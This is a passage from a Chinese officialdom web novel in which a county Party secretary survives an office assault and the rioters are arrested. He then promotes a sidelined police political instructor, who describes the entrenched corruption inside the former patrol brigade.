文件中明确指出:原则上是“整体接收,优化重组”;原巡警大队编制人员,经甄别、考核合格后,除极个别确不适合在**机关工作的人员另行安置或调离外,其余人员,按照新的岗位配置方案,自然过渡并重新编入“交巡警大队”!
办公室里陷入了一种奇异的死寂。
只有文件被翻动的沙沙声,以及几声粗重且难以置信的喘息。
肖新安的眼睛死死盯着那几行字,仿佛要将纸张烧穿。
巨大的震惊和一种被愚弄、被算计的恐慌感瞬间攫住了他。
他感觉胸口像被什么东西死死堵住,闷得几乎无法呼吸。
他猛地抬头看向江昭宁,嘴唇哆嗦着:“这……这成立交巡警大队……人员直接过渡……这……这怎么可能?”
“我……我怎么不知道?……”
他的大脑一片混乱,这个事还怎么闹?
江昭宁顿了一下,语气里带上了一丝冰冷的诘问,“肖新安,你人在这儿干嘛?”
“带着一群人气势汹汹地围堵县委大院,**真相的群众,在这里吵事**!喧嚣震天!”
“你告诉我,消息都被你堵在门外了,你怎么可能知道?!”
肖新安张口结舌。
就在这寂静与失落的临界点上,肖新安眼中那最后一点近乎崩溃的光芒猛地一闪,掠过一丝混合着不甘的凶戾。
不行,不能就这样罢休。
刘县长的指令不能这样落空。
他不易察觉地向身旁的壮汉使了一个极其隐蔽、却又饱含恶毒催促的眼色。
他的身体甚至微微侧开了一点点角度。
给壮汉让出了发动攻击的最佳位置——动作细微得几乎无法察觉,但其中蕴藏的歹意却如同毒蛇吐信。
“啊——!”一声野兽般的咆哮猛然在狭小的办公室炸响!
没有人看清他是如何蓄势的。
就在咆哮爆发的同一刹那,壮汉那积蓄了全部力量、醋钵般大小的右拳,裹挟着撕裂空气的呜咽风声,带着打死公牛的气势,猝不及防地、毫无征兆地朝着端坐在办公桌后的江昭宁头部狠狠砸去!
这一拳太快!太狠!太近!
距离实在太短!
这家伙本身又魁梧庞大,手臂一伸即至!
那拳锋裹挟着他积攒的所有羞辱和亡命之徒的凶性,瞬间就到了江昭宁面前!
拳未至,那猛烈气流已经掀起了江昭宁额前的几缕碎发!
“**——!”
林夕发出一声撕心裂肺的惊叫,他隔着桌子想扑过来阻挡,但根本来不及!
千钧一发!命悬一线!
就在那狂暴的拳锋即将触及江昭宁眉弓的瞬间——
时间仿佛被强行拖慢了。
江昭宁那古井无波的眼神,在拳风及体的刹那精芒爆射!
那不是惊恐,而是极致的冷静和迅如雷霆的本能反应!
他脖颈的肌肉以一种极限的速度拉出流畅而惊险的线条,身体并非慌乱后仰,而是带着一种刻入骨子里的战斗技巧,顺着拳势的轨迹精准地向侧后方滑退!
动作幅度极小,却完美地让过了那致命的正面轰击!
呼!
带着腥风的拳面,擦着他鬓角不足一寸的距离呼啸而过!
强横的拳风刮得他脸颊生疼,领带被风压掀得高高飘起!
但!这一拳毕竟太近太快!
他虽然避开了头部要害,但退开的身体无法完全脱离打击范围!
挥空的拳头余势未消,狠狠地砸在了办公桌厚实的边缘上!
“砰!!!”
一声令人头皮发炸的恐怖巨响!
实木桌面发出一声不堪重负的呻吟!
江昭宁放在桌沿的搪瓷茶杯被震得原地跳起,滚落在地,摔得粉碎!
桌面上堆叠的其他文件和几本书籍,哗啦一声被巨大的反冲力震得飞散起
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来,纸张如雪片般在狭小的空间里漫天飞舞!
整个办公桌仿佛都剧烈地摇晃了一下!
江昭宁心里门儿清,他不能反击!
外面正有人偷偷摸摸在地拍摄呢。
只要自己有动作,那躲在暗处的镜头立刻就能捕捉到,瞬间就能编织成一段惊爆眼球的视频——“县委**暴力殴打**群众”!
这顶帽子一旦落下,瞬间就会让自己陷入**漩涡中心。
那时自己就百口莫辩……
这家伙一击落空的刹那,左腿带着更猛烈恐怖的力量,如同狂怒的犀牛后蹬,伴随着又一声咆哮,狠厉无比地扫向江昭宁。
门外数道迅如猎豹的黑影,裹挟着雷霆万钧的势头从破开的缺口狂飙而入!
冲在最前面的正是刘洋意!
他如同扑向猎物的雄鹰。
整个人高高跃起,狠狠地向这家伙的侧后方撞去!
他身后两名精悍的干警紧随其后。
一个猛扑抱住这家伙的粗壮腰腹,另一个则精准地矮身突击,锁向这家伙刚刚踢出、重心不稳的下盘!
电光石火!
“嘭!”一声闷响!
这家伙那足以踢断木桩的强力鞭腿尚未踢实目标,整个人就被一股难以抗拒的巨大冲力从侧面和后腰猛烈撞击!
三股合力如同三道铁箍,精准、迅猛、凶悍!
他庞大的身躯失去平衡,狂野的攻击节奏瞬间被打断,发出一声混杂着惊怒和痛楚的怪叫,如同山岳倾颓般重重地向侧面砸落!
“轰!!!”
他的侧脸和肩膀狠狠撞在冰冷坚硬的**石地上,发出令人牙酸的闷响。
巨大的震动仿佛让整间办公室都晃了一下。
刘洋意的反应快到了极限。
他借着自己身体下压的冲击力,膝盖如同千斤顶般死死抵住这家伙后颈靠近脊柱的要害位置。
同时双手如同铁钳。
一只扣住这家伙粗壮的手腕。
另一只猛地将其另一只试图挣扎反击的手臂狠狠反扭到背后!
动作一气呵成,狠辣利落,充满了专业擒拿特有的冷酷和高效!
“咔嚓!”一声清脆冰冷的金属咬合声响彻房间!
一副闪着寒光的**,像毒蛇般精确地卡入了这家伙那粗大但此刻被完全锁死的腕骨!
冰冷的触感瞬间麻痹了他试图再次暴起的神经。
第43章 一物降一物!
“操……**……”这家伙被摁在地上,脸紧贴着冰冷的地板,嘴里含糊不清地咒骂着,涎水和泥土沾满了半边脸,粗壮的脖颈被刘洋意的膝盖压得青筋暴起,几乎窒息。
他的世界只剩下**的视角:磨砂地板冰冷的纹理和几双踩在近前、沾满尘土的鞋底。
刘洋意丝毫没有放松力道。
他甚至用穿着厚重警靴的脚板,毫不留情地碾在了他那张因为窒息和愤怒而扭曲变形的侧脸上,仿佛要将那点最后残留的凶蛮彻底踩进泥土里!
“牛强!”刘洋的怒吼压过了对方的咒骂,像鞭子一样抽打在空气里,充满了惊魂未定的后怕和被挑衅权威的暴怒,响彻整间狼藉的办公室,“是你,两个月了吧?”
“砸了人家‘鸿运来’五金店的玻璃,还把老板开了瓢,跑得倒是比兔子还快。”
“我的人,可是满城给你‘发寻人启事’呢。”
“整整两个月老子跟盯贼似的满城撒网找你!”
“砸人家老板脑袋的时候不是挺有种吗?”
“知道**了是吧?这才几天?胆儿更肥了?!啊?!”
“都他妈肥到敢对县委**动拳脚了?!”
他脚上的力量猛地加重,迫使牛强的脸更深地嵌入地板。
刘洋的声音带着极致的讽刺和暴戾:“脚踹县委**的办公室门?老子问你!这份天老大你老二的熊胆儿,是谁**批发给你的?!”
“说!”
办公室内,时间仿佛凝固了片刻。
刚才还狂暴凶戾如同下山猛虎的牛强,此刻被死死踩在办公室地板上,脸上沾满灰土和口水,手腕被冰冷的**锁死,刚才那毁天灭地的气势消失得无影无踪。
巨大的体型优势在绝对的力量压制和专业手段面前,脆弱得像一张薄纸。
刘洋意那充满铁血煞气的怒吼,更是将他彻底打回了原形——一个只能在黑暗角落里逞凶的街头混混。
刚才还试图用蛮力反抗的牛强,在看清刘洋那张脸、听到那如同追魂索命般熟悉的声音时,浑身的气力瞬间被抽空了。
他那张被踩得变形的脸上,嚣张气焰荡然无存,只剩下深入骨髓的恐惧和绝望。
眼神像受惊的老鼠般疯狂躲闪,嘴唇哆嗦着,发出破碎不成调的哀鸣:“刘…刘所…我…我错了…饶…饶我这一次…”
一物降一物!
在刘洋意面前,他彻底成了一滩烂泥。
刚才那要把天捅个窟窿的嚣张气焰,此刻卑微得像掉在地上的虫豸。
刘洋厌恶地撇撇嘴,仿佛多看一眼都脏了眼睛,朝手下挥挥手:“铐结实了,带走!”
“好好查查,谁指使他来当这个搅屎棍的!”
两名干警像拎小鸡一样将瘫软的牛强从地上粗暴地提了起来,押着踉踉跄跄的他,迅速消失在门口。
牛强被拖走的尾音还在走廊里回荡。
办公室门口的光线再次被一片涌动的身影遮蔽。
这一次进来的,人数更多,步伐也更沉。
有十来个人。
带队是魏明君。
他压抑的怒火在这一刻轰然爆发,他猛地向前一步,指着肖新安的鼻子,声音因为极度的愤怒而微微发颤,却像洪钟般在办公室里炸响:“肖新安!你无法无天!”
“谁给你的胆子,敢聚众冲击县委**办公室?!你想干什么?翻天吗?!”
“跟我回去接受处理!”
随着魏明君的怒斥,他身后涌进来的十来个穿着各式便装、但神情都异常严肃的前巡警队员,立刻默契地两人一组,如同扑食的猛虎,迅速扑向肖新安和他身边那几个早已吓傻了的同伙。
有力的手臂瞬间钳制住他们的肩膀和胳膊,将他们牢牢控制住,动弹不得。
动作干脆利落,带着一种清理门户的决绝。
肖新安被两个前队员死死扭住胳膊,剧痛让他从震惊中清醒过来。
他猛地抬头,色厉内荏地嘶吼起来“魏明君!吼什么吼!你现在算个什么东西?!”
“教导员?呸!你也跟我一样,是撤编下来的编余人员!”
“少在我面前耍你那个过气的官威!你没资格处理我!”
魏明君被这无耻的顶撞激得胸口剧烈起伏,
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脸色铁青。
肖新安戳中了他心底最深的隐痛。
撤编,失去职务,对于一个把半辈子献给**事业的老警察来说,是难以言说的失落。
他刚才在外面心急如焚地组织这些还愿意听从他的老部下时,心中那份底气不足的苦涩,只有他自己知道。
他确实不再是教导员了,他只能用自己几十年积累下的那点威信和苦口婆心的劝说,才临时拉起了这支队伍。
“编余人员?没错!但我魏明君一天穿着这身警服,骨子里就一天还是警察!”
“警察的职责,就是维护秩序,打击犯罪!你肖新安今天的行为,就是扰乱秩序,冲击国家机关!”
“我管不了你?只要我还是一个警察,就绝不容许你这种败类在这里撒野胡闹!”
“我处理的是你这无法无天的胡闹行为!处理的是你煽动**、差点酿成大祸的疯狂!我不是**官威!老子现在管的就是你这摊烂事!”
但肖新安已经彻底疯狂,他像是溺水之人,不顾一切地挣扎嘶吼:“没资格!你就是没资格!你们放开我!”
“我要去市里告你们!魏明君,你动用私人关系…你们这是私设刑堂!我要告你们!”
他嘴上依旧硬抗,疯狂挣扎扭动,试图挣脱钳制,“你处理不了我!”
“他处理不了你,我能处理吗?”李国栋跨门而入,他冰冷的目光逐一扫过那几个被扭住的人,让他们如坠冰窟,“全部送到局里禁闭室!”
“先关五天禁闭,深刻反省!后续问题,从严从重处理!”
“是!”这一下魏明君有了底气。
那十来个前巡警队员,此刻动作愈发干脆有力。
肖新安终于明白,自己彻底完了!
踩到了绝对不能碰的高压线!
这几个人如同被抽掉了脊梁骨,彻底瘫软下来,再无半分反抗的意志。
他们像一滩烂泥般被曾经的同僚们毫不留情地架起胳膊,拖死狗一样拖出了办公室。
走廊里只剩下他们绝望的呜咽和被拖拽的摩擦声,渐行渐远,最终彻底消失。
第44章 果然奏效
李国栋满头大汗。
他喉咙发干,艰难地吞咽了一下,脸上极力挤出满是歉疚的笑容,声音都有些变调:“江**,实在抱歉!”
“局里那边临时协调点事,我来迟了,来迟了……”
“不,你安排的刘所、魏教他们来得及时。”
李国栋一愣神,对这话,他应也不是,不应也不是。
**江昭宁说这话是出于讽刺,还是真不知情?
李国栋后背有冷汗细密地渗出。
李国栋心里清楚,刘洋意和魏明君能赶到,跟他李国栋半毛钱关系没有!
江昭宁这话,无论怎么接都烫嘴。
他只得堆起一脸笑容,既不肯定,也不否认。
江昭宁将他这一瞬间的愣神和含糊其辞尽收眼底,心中冷笑更甚。
李国栋真是圆滑世故。
这位副县长兼**局长大人,看是“不粘锅”,好处要沾,责任要躲,风吹两边倒。
今天肖新安**,背后有没有他李国栋的影子?
或者他是否在暗中观望?
江昭宁无法确定。
但李国栋此刻的反应,无疑暴露了他的心虚和骑墙心态。
江昭宁懒得再与他虚与委蛇,直接挥了一下手,语气带着不容置疑的送客意味:“李县长,你去忙你的吧,这边的事,我来处理。”
李国栋如蒙大赦,刚要应声告退,江昭宁却又像是忽然想起什么,话锋陡然一转,声音不高,却带着一种穿透性的力量,清晰地补充道:
“不过——”
李国栋刚抬起的脚又定在了原地,心提到了嗓子眼。
“将魏教导员给我追回来,”江昭宁的目光锐利如刀,一字一顿道,“我有话说。”
“是!”李国栋急忙出去了。
林夕此时走了过来。
看着那扇被暴力踹开、门框明显变形、锁舌整个崩坏,以及门框上深刻的裂痕和剥落的木屑,脸上满是后怕与歉疚。
他低声对江昭宁说:“**,我马上就找人,这锁被……被暴力撞坏了,门也不堪使用,得换新的。”
江昭宁只从喉咙里低低发出一声“嗯”,视线短暂地扫过那扇残破的门,随即微微点了下头:“去吧。”
林夕如蒙大赦,迅速转身,几乎是踮着脚尖退了出去,轻轻带上了那扇已经无法锁闭、只能虚掩的破门。
江昭宁坐在办公桌后的椅子上,长长嘘了一口气。
室内重归寂静。
但这寂静却比刚才的喧嚣更令人心悸。
江昭宁的目光落在桌面上那份被小心压在一叠文件下方的《关于成立东山县交巡警大队的批复意见及人员调整安置方案》上。
他之所以不立即公布《关于成立东山县交巡警大队的批复意见及人员调整安置方案》,是有自己的打算的。
是精心布下的一着险棋。
他要“爆雷”。
他要让巡警大队里那些烂透了根子、却隐藏颇深的毒瘤,自己主动爆裂开来!
任何触及核心利益的改革,都会搅动水底的淤泥,让那些依附在旧体制上吸血的蚂蟥、盘踞在阴暗角落里的毒蛇惊惶失措,继而疯狂反扑。
与其让这些隐患在方案实施后暗中使绊、处处掣肘,不如在启动前就将它们彻底引爆,置于阳光之下,一次清扫干净!
他要看看,在巨大的利益变动面前,到底是谁会按捺不住跳出来,又是谁在背后牵线搭台。
这一招引蛇出洞,果然奏效。
魑魅魍魉,牛鬼蛇神,乌龟王八,都按捺不住跳出来了。
现在原巡警大队的害群之马显出原形了。
肖新安与这几个人,无疑是张彪留下的铁杆党羽。
他今天的举动,已是最好的证明。
他们就是原巡警大队最顽固的势力,是这颗毒瘤上最活跃的癌细胞!
这哪里还是什么执法人员?
分明是横行一时、鱼肉百姓的恶霸!
在自己这位县委**的办公室里尚且如此肆无忌惮,而且纠合社会人员,不,是犯罪分子,搞打砸,嚣张跋扈到了极点。
平日里对待无权无势的普通百姓,他们的手段只会更加狠辣无情。
什么敲诈勒索、强拿索要、吃拿卡要……江昭宁几乎可以肯定,这些人的劣迹罄竹难书!
“好啊……”江昭宁的手指无意识地敲击着桌面,发出笃笃的轻响,眼底深处却是一片冰冷的锐利。
张彪虽然倒台了,但他盘编织的关系网如同老树的根须,盘根错节,渗透极深。
这些余孽不除,新组建的交巡警大队就难以真正焕发生机,成为守护一方平安的利剑。
今天这场闹剧,正好给了他一网打尽
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、彻底“烩”了这些渣滓的绝佳契机!
证据确凿,性质恶劣到无以复加,处理起来名正言顺,阻力也会小得多。
思绪流转间,江昭宁的目光不由得投向了门口的方向。
魏明君……这个名字在他心头激起一阵复杂的涟漪。
就在刚才,他对这位原巡警大队教导员的看法,经历了一次剧烈的颠覆。
此前,基于对原巡警大队整体风气的极度失望和接到的种种负面反映。
江昭宁对魏明君的印象是模糊而负面的——一个在其位却未能谋其政、未能有效约束队伍、甚至可能同流合污的“老好人”或者“无能者”。
巡警大队的溃烂,作为教导员,魏明君难辞其咎。
这是他内心早已打上的标签。
然而,刚才魏明君的表现,绝非敷衍了事或和稀泥。
他面对肖新安的狂悖,没有丝毫退缩,眼神如鹰隼般锐利,厉声呵斥,态度坚决得如同磐石。
那些话更是斩钉截铁,带着不容置疑的威严和凛然正气,瞬间镇住了场面。
这哪里是一个懦弱无能或同流合污的人能有的表现?
江昭宁的思维飞速运转。
他意识到,自己之前的判断可能过于武断和片面了。
他只看到了原巡警大队整体的腐烂,便理所当然地认为作为教导员的魏明君要么是帮凶,要么是废物。
却忽略了更复杂的背景和更艰难的处境。
看来,肖新安之流,仗着张彪的余威和自己的泼皮无赖,在队内拉帮结派,阳奉阴违,甚至架空领导。
魏明君这个教导员,或许真的不是不想管,而是根本管不动!
他可能长期处于被孤立、被架空、甚至被威胁的境地。
他试图整顿队伍的努力,可能一次次被张彪的旧部联手化解或粗暴抵制。
他向上反映的问题,也可能被那张无形的关系网层层过滤、消解。
在这种环境下,魏明君能勉强维持住大队不彻底散架。
甚至在关键时刻还能调动起一部分尚有良知的警力,比如今天跟着他来的那十来位**。
这本身就需要极大的智慧和坚韧的意志,以及……对组织原则从未动摇的忠诚。
“党性……非常强。”江昭宁在心中默念着,对魏明君的评价瞬间拔高。
第45章 是责无旁贷!
刚才魏明君能临危不乱,果断处置,坚决站在维护秩序和法律尊严的一边,毫不犹豫地与曾经的,哪怕是名义上的下属**,这种立场的选择,这种勇气和担当,正是党性最纯粹、最有力的体现!
他不是没有力量,而是力量被压制了太久。
他不是不想作为,而是环境束缚了他的手脚。
今天这场意外冲突,反而成了检验他成色的试金石。
想到这里,江昭宁心中涌起一丝庆幸,也有一丝愧疚。
庆幸的是,东山的**队伍里,并非一片漆黑,还有像魏明君这样在泥沼中依然坚守本心、关键时刻敢于亮剑的干部。
魏明君选择了一种近乎悲壮的蛰伏!
他在等待一个时机,或者在某个看不见的角落,以自己方式默默记录、挣扎。
他用沉默守住了最后的底线和原则,没有同流合污!
没有向暴力与**屈服!
他的党性,在极度艰难的逆境中经受住了地狱般的考验,如同深埋于淤泥的珍珠,直至这最后的关头,才以如此耀眼、决绝、乃至自我牺牲的方式迸发出力量,证实了它的纯粹与坚韧!
愧疚的是,自己作为县委**,之前仅凭表象就对他产生了偏见,未能深入了解其困境。
他靠在椅背上,闭上眼,手指揉着发胀的太阳穴。
脑海中,肖新安狰狞的面孔、牛强那袭来的拳头、魏明君果断的呵斥、李国栋闪烁的眼神……各种画面交织碰撞。
“爆雷”的目的达到了,毒瘤暴露了,这是好事。
但接下来,才是真正的硬仗。
如何处置肖新安一伙,如何深挖他们背后的关系网,如何顶住可能随之而来的巨大压力?
更重要的是,如何用好魏明君这把在黑暗中磨砺依旧、锋芒初露的利剑?
他睁开眼,目光重新落回那份沉甸甸的方案上,眼神变得无比坚定。
风暴已经掀起。
他必须,也必将成为那个驾驭风暴的人。
他期待着与魏明君的谈话,或许,一个新的、能真正支撑起东山**脊梁的支点,就在那里。
江昭宁的眼神变得坚定锐利。
他重新审视着整个方案的结构布局。
新组建的交巡警大队,大队长由原来交警大队长担任,已是共识。
但教导员一职……此刻在他心中,魏明君的名字如同被烈火淬炼过的钢钉,带着令人无法忽视的分量与光彩,牢牢楔进他脑海的核心位置!
这份忠诚、刚正、隐忍负重又在关键时刻能挺身而出的品质,正是这新组建部门的脊梁所需要的!
正是破除旧有积弊、重建警队公信力的关键力量!
办公室的门被小心翼翼地推开一条缝,李国栋带着刚被追回来的魏明君轻声走进。
“你去忙你的吧!”
“是!”李国栋小心翼翼地出去了。
室内只剩下江昭宁与魏明君。
魏明君的衣服领口微开,脸色苍白但脊梁依然挺得笔直,眉宇间残留着尚未褪尽的疲惫和一丝经历风暴后的紧绷。
江昭宁抬眼看他。
“魏教,请坐。”江昭宁开口,声音不高,但足以打破寂静,听得出前所未有的郑重,“今天,难为你了。”
他听令坐下。
魏明君目光低垂,脸上没什么表情,片刻后才抬起头,低声却清晰地应道:“**,保卫您的安全和工作场所秩序,是我职责所在。份内之事。”
他的声音里有一种被抽离的平静,没有委屈,也没有自矜,只有陈述事实的朴素。
江昭宁目光如炬,紧紧锁定魏明君的眼睛,“那几个人……”他微微扬了扬下巴,指向先前肖新安等人被带走的方向,“张彪,肖新安……过去在队里,是怎么个状况?”
他的问题直接、犀利,抛向那段讳莫如深的过去。
魏明君的肩膀难以察觉地瑟缩了一下,仿佛被无形的重锤击中。
他嘴唇抿成一条刚硬的直线,沉默持续了十几秒。
办公室陷入更加压抑的寂静,只有窗外微弱传来的城市噪音像是背景的低语。
终于,他深深吸了口气,又重重吐出,那气息里带着积压了太久的沉重:“**……”
他的声音极其沙哑,如同砂纸摩擦着木纹,“有些墙,比看上去要厚得多……”
他说不下去了,猛地别开脸,望向窗外灰蒙蒙的天空,下颌线绷紧得如同刀削斧刻,喉结剧烈地上下滚动着。
强装平静的面具轰然碎裂
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,委屈、**、被长期压制的无力感,还有深深的不甘与痛心,如同决堤的洪水,在这位被铁幕压弯了腰的教导员脸上汹涌翻腾。
这无声的爆发,比任何申辩都更有力!
不必再问了。
江昭宁已心知肚明。
他轻轻摆了摆手,像是拂去空气中压抑的灰尘,截断了魏明君那难以继续的痛苦挣扎。
他的语气陡然变得更加坚定果断,带着一种拨云见日的明晰:“明君同志,过去的就暂时过去。往前看!”
他伸手,从桌面拿起那份刚刚在心头已被浓墨重彩重新批注过的《关于成立东山县交巡警大队的批复意见及人员调整安置方案》,直接递向魏明君。
“交巡警大队!”江昭宁的声音斩钉截铁,清晰地在安静的办公室里响起,带着重塑秩序的决心,“教导员的位置,你来做!”
“不是升调,不是照顾,是责无旁贷!”
“你魏明君,就是那个能打头阵、能扛住梁柱、破局开新的人选!”
“用你今天的这份坚守与担当,去把过去的歪风邪气,给我彻底地刮!干!净!净!”
魏明君的身体陡然僵直,仿佛被一道无形的惊雷瞬间劈中!
交警大队在县**局是特殊的存在,正科级建制,教导员是正科实职。
现在两警合一,新成立的交巡警大队教导员铁打会是正科实职,自己是水涨船高啊,不,是提拔了!
他难以置信地睁大了眼睛,目光从江昭宁坚毅的面孔缓缓移到递到自己面前那份承载着信任与重任的文件——那白纸黑字上关于新成立的交巡警大队职务的正式条款。
他的嘴唇微微颤抖起来,伸出手去接那几页薄薄却重逾千斤的纸。
指尖刚触及微凉的纸张边缘,却抑制不住地剧烈抖动着,最终猛地攥紧了拳头,停在半空。
那剧烈的颤抖,是无数个日夜被压抑、被消磨意志的骤然崩解,也是突然背负千钧重担时的本能震颤。
江昭宁看着那双骨节分明、因用力而青筋微现的手。
再抬起头,清晰地看到这个坚毅的汉子眼中,有什么滚烫的东西正剧烈翻腾涌动,迅速漫溢出来,在睫毛上凝结成晶莹的重量,眼看就要坠落。
第46章 管不了!!
江昭宁不动声色道:“魏教!为什么过去整个巡警大队积病沉疴、恶行累累,敲诈勒索、随意罚款中饱私囊的事就从未断过。”
“如此深重的**,身为教导员,主管思想**,竟然没有早早发现、汇报、整肃?”
“在旁人看来,若非同流合污,至少是严重失察、麻木不仁,对不对?”
“江**!”魏明君猛地抬起头,眼中瞬间燃起压抑已久的火焰,那是一种混合着巨大委屈、不甘和愤怒的火焰。
他放在膝盖上的双手不自觉地攥紧了。
他深吸一口气,仿佛要将胸中积压多年的浊气全部吐出,声音带着一种近乎悲怆的嘶哑:“我不是不管!”
“而是……根本不能管!管不了!!”
这声低吼,像一块巨石投入死水,在寂静的办公室里激起巨大回响。
“哦?”江昭宁眉头微蹙,身体向后靠回椅背,但眼神中的审视并未放松半分,“不能管?管不了?”
“说说看,怎么个不能管法?一个堂堂的教导员,连约束自己队伍的资格和能力都没有了?”
“资格?能力?”魏明君苦涩地扯了扯嘴角,那笑容比哭还难看,带着深深的无力感。
他的声音因为激动而微微颤抖,仿佛在揭开一道深可见骨、脓血淋漓的伤疤:
“在原来的巡警大队,张彪他的话就是圣旨,不容置疑。”
“肖新安是他的头号爪牙,负责冲锋陷阵,排除异己。”
“底下呢?纠集了一群唯他们马首是瞻、眼中只有利益、毫无党性原则和法治观念的党羽!”
“他们抱成一团,针插不进,水泼不进!我这个教导员?呵……”
魏明君的眼神变得空洞而悲凉,仿佛陷入了不堪回首的记忆深渊:“我名义上是教导员,实际上就是个被架空的傀儡!”
“队里的财务审批权?张彪牢牢把持,大额支出从不经过我,罚款票据管理混乱,钱进了谁的腰包我根本看不到!”
“人事安排?重要岗位全是张彪的亲信,我提出的任何建议都被束之高阁,甚至当面嘲讽!”
“组织生活会?每次我试图谈谈纪律作风问题,话刚开头,就会被肖新安之流粗暴打断。”
“其他人要么低头不语,要么跟着起哄,整个会场瞬间冷场,变成对我的羞辱!”
“连最基本的队伍管理、日常勤务安排,我这个教导员都无权过问!张彪一声令下,全队上下只听他的!”
“我就像个被隔绝在堡垒之外的孤魂野鬼,看着他们在里面胡作非为,却连大门都摸不到!”
他猛地看向江昭宁,眼中充满了血丝和一种近乎绝望的坦诚:“江**,您说党性?说觉悟?我魏明君对着党旗发过誓,从未敢忘!”
“可在这种环境下,我就是一头被捆住四肢、堵住嘴巴的困兽!”
“空有一腔热血和一身正气,又能做什么?!”
“冲进去和他们硬拼?”
“除了头破血流,被他们安个‘破坏团结’、‘干扰正常工作’的罪名扫地出门,还能有什么结果?”
“我个人的荣辱事小,可如果我被彻底清除,连最后一点能在关键时刻发出不同声音的可能都没有了!”
“您今天看到的局面,可能……会更糟!”
江昭宁的眉头越皱越紧。
“难道你就不会向上反映?”江昭宁沉声问道,语气中带着一丝不易察觉的急切,“向局领导,向分管县领导反映情况?反映张彪的独断专行,反映队伍的混乱?”
“反映?”魏明君脸上的苦涩几乎要溢出来,他发出一声短促而充满嘲讽意味的冷笑,仿佛听到了一个天大的笑话,“江**,您以为我没反映过吗?”
“我找过李局长,不止一次!”
“我小心翼翼地陈述问题,拿出一些不是特别核心但也能说明问题的证据。”
“结果呢?局长大人永远是那副和稀泥的老好人嘴脸:‘明君同志啊,要顾全大局嘛!’‘队伍管理要讲究方式方法,要搞好团结!’‘张彪同志工作作风是有点粗,但业务能力还是强的嘛,你要多配合!’”
“……每一次反映,都如同石沉大海,连个像样的水花都溅不起来!更可怕的是……”
魏明君的声音陡然低沉下去,带着一种后怕和寒意:“每一次反映之
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后,我在队里的处境就艰难一分!”
“工作安排上被穿小鞋是家常便饭,一些莫须有的流言开始在局里甚至县里小范围传播,说我‘能力不足,喜欢告状’,‘破坏班子团结’。”
“张彪看我的眼神,更是充满了毫不掩饰的威胁和警告!”
“有一次我办公室的门锁莫名其妙坏了,有一次我停在楼下的车胎被人扎了……这些小动作,无声无息,却像冰冷的毒蛇缠绕着你,让你寝食难安!”
“向上反映?那简直是在给自己挖掘更深的坟墓!”
江昭宁的心一点点沉下去。
魏明君的描述,勾勒出一张无形的、令人窒息的压力网。
他沉默片刻,目光如炬,再次追问,语气凝重到了极点:“那……不会再向上一级反映?越过县局,直接向纪委举报?”
“难道他们也都被蒙蔽了?或者……”后面的话他没说出口,但意思不言而喻——难道更高层也被渗透了?
“举报?”魏明君的眼神彻底黯淡下去,那是一种希望被无数次碾碎后的麻木,“江**,不瞒您说,我尝试过。”
“匿名信,**信,通过各种我能想到的渠道递上去……结果呢?”他摊开双手,做了一个空空如也的手势,声音里充满了无力感和一种深沉的悲哀:“泥牛入海!杳无音讯!”
“所有的**,最终都如同投入了无底深渊,连一丝涟漪都未曾泛起。”
“甚至……甚至有一次,我通过一个非常隐秘的渠道递上去的举报材料,几天后,我竟然在张彪的办公桌上看到了其中一份复印件的碎片!”
“那一刻,我浑身冰凉,感觉整个天都塌了!”
“我这才真正明白,张彪这只手,伸得有多长,他这张网,织得有多密!举报?那不仅是徒劳,更是**!”
“张彪一伙……有这么大能耐?!”江昭宁再也无法保持完全的平静,他的身体微微前倾,声音里透出难以掩饰的震惊。
一个县**局巡警大队的大队长,竟然能只手遮天到如此地步?能屏蔽掉来自更高层级的监督?
这背后的水,深得让他感到一阵寒意。
第47章 怎么个犟法?
“有!江**,张彪的能耐,远远超出您的想象!”
“也超出了很多人的想象!”魏明君斩钉截铁地回答,语气中充满了肯定和一种深深的忌惮。
江昭宁眉头紧锁,锐利的目光紧盯着魏明君:“背景?他爹妈是干什么的?有什么过硬的靠山?”
这是最直接的可能性——强大的家族背景或**资源。
魏明君摇了摇头,语气带着一种荒诞感:“背景?真没有。”
“据我所知,他爹就是溪都镇上普普通通的下岗工人,老实巴交一辈子,连县城都很少来。”
“他妈是个退休的妇女。”
“在张彪发迹之前,他们家就是最普通不过的平民百姓。”
“那他的亲戚呢?”江昭宁不甘心地追问。
“他家里祖上几代,都是面朝黄土背朝天的农民,或者小商小贩,绝对没有任何有权有势的亲戚。”
魏明君再次摇头,“可以说,张彪往上数三代,都是清清白白的‘无产阶级’,没有任何能给他提供**庇护的‘大树’。”
江昭宁沉默了。
办公室内再次陷入一种诡异的寂静。
一个没有任何显赫背景、没有强大靠山、甚至出身极其普通的人,仅仅依靠一个县**局巡警大队长的职位,竟然能在数年间,将一个执法单位经营成针插不进水泼不进的“独立王国”?
竟然能让一个组织任命的、理论上与他平级的,在**工作上有优先权的教导员在被彻底架空,开展工作都难?
甚至连向上举报都如同石沉大海,**还能神奇地回到**人手里?
这简直违背常理!
既不是官二代,也没有有背景的亲戚,他凭什么能把体制这张铁网,戳得千疮百孔,为他自己所用?!
他凭什么啊!
江昭宁沉思了一会儿道:“魏教,你去吧,你现在的任务,一是稳定原巡警大队的人心,二,协助纪委及组织部门做好审查工作,除了今天的这五个人外,其他的干警及辅警只要是害群之马,也一律清理出去。”
“要确保即将成立的交巡警大队的纯洁性。”
“我们现在相互留一个电话。”
“是!”
两人交换了电话,然后魏明君敬礼出去了。
他刚离去。
刘志刚接着进来了。
“江**,”刘志刚的声音不高,在这寂静里却异常清晰,带着谨慎斟酌的意味,“您身边联络员的事……现在怕是真得考虑起来了,千头万绪,总需要人时时搭手照应。”
“联络员”三个字,在体制内,尤其是在县级层面,是个心照不宣的微妙称谓。
明文规定县级领导不得配备专职秘书,但纷繁复杂的工作、千头万绪的联络协调、堆积如山的文件材料,没有一位得力的助手,简直是寸步难行。
于是,“联络员”应运而生,承担着秘书的几乎全部职责,只是换了个合规的外衣。
大家私下里,依旧习惯性地称之为“领导专职秘书”。
这几乎是基层运作中一个公开的秘密,一种基于现实的变通。
江昭宁放下茶杯,目光投向刘志刚。
他当然知道这个位置的重要性。
一个贴身的联络员,不仅仅是处理文件、安排行程那么简单。
他是领导的耳目延伸,是信息的过滤器,是决策的初步加工者,甚至某种程度上,是领导意志传递的第一道桥梁。
这个人选,必须慎之又慎。
刘志刚将那叠资料轻轻放在江昭宁面前暗沉光洁的桌面上,动作流畅自然,显然已是深思熟虑。
文件摊开第一页,简洁的照片下方列出人名与岗位。
林夕的履历夹杂其中,显得不新不旧,照片上的年轻人鼻梁笔挺,目光沉静却有股不容置疑的力量穿透纸背。
